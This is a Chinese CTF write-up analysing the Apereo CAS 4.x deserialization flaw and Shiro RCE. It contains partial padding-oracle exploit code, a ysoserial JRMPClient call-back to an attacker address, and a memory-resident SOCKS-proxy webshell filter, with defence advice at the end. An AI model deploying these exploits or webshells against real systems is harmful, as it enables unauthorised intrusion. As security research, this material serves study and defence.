SCTF 2020 两道Login Me预期解的核心技术
字数 1332 2025-08-19 12:40:57
Apereo CAS 4.X 反序列化漏洞分析与利用技术详解
1. 漏洞概述
Apereo CAS (Central Authentication Service) 4.X 版本中存在一个严重的反序列化漏洞,攻击者可以通过精心构造的execution参数实现远程代码执行(RCE)。该漏洞主要影响CAS 4.1.6及更早版本,在4.1.7版本中加密方式发生了变化,修复了此漏洞。
2. 漏洞版本识别
2.1 版本特征判断
CAS 4.1.6及之前版本特征:
execution参数Base64解码后以\x00\x00\x00\x22\x00\x00\x00\x10开头
CAS 4.1.7及之后版本特征:
execution参数两次Base64解码后不是乱码,而是JWS格式(header.body.sign)的字符串
2.2 加密方式差异
CAS 4.x - 4.1.6加密伪代码:
payload = gzip(Java Serialized data)
body = aes128_cbc_encode(key, iv, payload))
header = '\x00\x00\x00\x22\x00\x00\x00\x10'+iv+'\x00\x00\x00\x06'+'aes128'
excution = uuid + b64encode(header + body)
CAS 4.1.7 ~ 4.2.X加密伪代码:
cipher = aes128_cbc_encode(iv + gzip(Java Serialized data))
data = b64encode(cipher)
jwsToken = jws.sign(data, jws_key, algorithm='HS512')
excution = uuid + b64encode(jwsToken)
3. 漏洞利用技术
3.1 Padding Oracle攻击
由于CAS 4.1.6及之前版本使用AES/CBC加密模式,存在Padding Oracle攻击的可能性。攻击流程如下:
- 构造恶意Java序列化payload
- 使用gzip压缩payload
- 通过Padding Oracle攻击获取正确的加密块
- 构造最终的execution参数
3.2 利用工具实现
以下是关键的Python实现代码片段:
from jose import jws
from Crypto.Cipher import AES
from cStringIO import StringIO
from multiprocessing.pool import ThreadPool
import time
import requests
import base64
import zlib
import uuid
import binascii
import json
import subprocess
import requests
import re
# 初始化参数
iv = uuid.uuid4().bytes
header_mode = '\x00\x00\x00\x22\x00\x00\x00\x10{iv}\x00\x00\x00\x06aes128'
JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-all.jar'
# 压缩函数
def compress(data):
gzip_compress = zlib.compressobj(9, zlib.DEFLATED, zlib.MAX_WBITS | 16)
data = gzip_compress.compress(data) + gzip_compress.flush()
return data
# Padding Oracle攻击实现
def paddingOracle(value):
fakeiv = list(chr(0)*16)
intermediary_value_reverse = []
for i in range(0, 16):
num = 16
response_result = []
for j in range(0, 256-num+1, num):
jobs = []
pool = ThreadPool(num)
for w in range(j, j+num):
fakeiv[N-1-i] = chr(w)
fake_iv = ''.join(fakeiv)
paramsPost = {
"execution": "4a538b9e-ecfe-4c95-bcc0-448d0d93f494_" + base64.b64encode(header + body + fake_iv + value),
"password": "admin",
"submit": "LOGIN",
"_eventId": "submit",
"lt": "LT-5-pE3Oo6oDNFQUZDdapssDyN4C749Ga0-cas01.example.org",
"username": "admin"
}
job = pool.apply_async(send_request, (paramsPost, w))
jobs.append(job)
pool.close()
pool.join()
for w in jobs:
j_value, response = w.get()
if response.status_code == 200:
response_result.append(j_value)
# ... 省略中间处理逻辑 ...
intermediary_value = intermediary_value_reverse[::-1]
return intermediary_value
3.3 利用链选择
为了缩短攻击时间,推荐使用JRMPClient gadget:
- 传统CC链:需要padding约114组数据,耗时过长
- JRMPClient:
- 普通利用:需要padding约14组数据,耗时1-3小时
- 优化利用(CVE-2018-2628):仅需padding 7组数据,多线程下可在20分钟内完成
if __name__ == '__main__':
popen = subprocess.Popen(['java', '-jar', JAR_FILE, 'JRMPClient2', 'your_ip:your_port'], stdout=subprocess.PIPE)
payload = popen.stdout.read()
payload = pad_string(compress(payload))
# ... 后续处理 ...
4. Shiro RCE与ACL绕过技术
4.1 无文件Socks5代理Webshell
在Shiro环境下,由于Shiro本身是Filter,内存马最好也实现为Filter(设置最高优先级)。以下是关键代码:
package reGeorg;
import javax.servlet.*;
import java.io.IOException;
public class MemReGeorg implements javax.servlet.Filter {
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain)
throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse) response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("X-CMD");
if (cmd != null) {
response.setHeader("X-STATUS", "OK");
if (cmd.compareTo("CONNECT") == 0) {
// 建立连接逻辑
} else if (cmd.compareTo("DISCONNECT") == 0) {
// 断开连接逻辑
} else if (cmd.compareTo("READ") == 0) {
// 读取数据逻辑
} else if (cmd.compareTo("FORWARD") == 0) {
// 转发数据逻辑
}
}
filterChain.doFilter(request1, response1);
}
// ... 省略其他方法 ...
}
4.2 Shiro权限绕过技术
- 寻找新的权限绕过方法:通过分析Shiro的权限校验机制,寻找可能的绕过点
- 利用已知漏洞:参考已公开的Shiro权限绕过issue
- 组合利用:结合AJP协议漏洞实现文件上传和RCE
5. 防御建议
- 升级CAS版本:升级到4.1.7或更高版本
- 密钥保护:确保加密密钥的安全存储,避免使用默认密钥
- 输入验证:对execution参数进行严格的格式验证
- 网络隔离:限制CAS服务器的出站连接,防止JRMP反弹shell
- 监控日志:密切关注异常登录请求和Padding Oracle攻击特征
6. 总结
本文详细分析了Apereo CAS 4.X版本中的反序列化漏洞,从版本识别、加密方式差异到具体的Padding Oracle攻击实现,提供了完整的技术细节。同时介绍了在Shiro环境下的RCE利用和权限绕过技术,为安全研究人员提供了全面的参考。在实际渗透测试中,应根据目标环境选择合适的利用方式,并注意攻击的时间成本和成功率。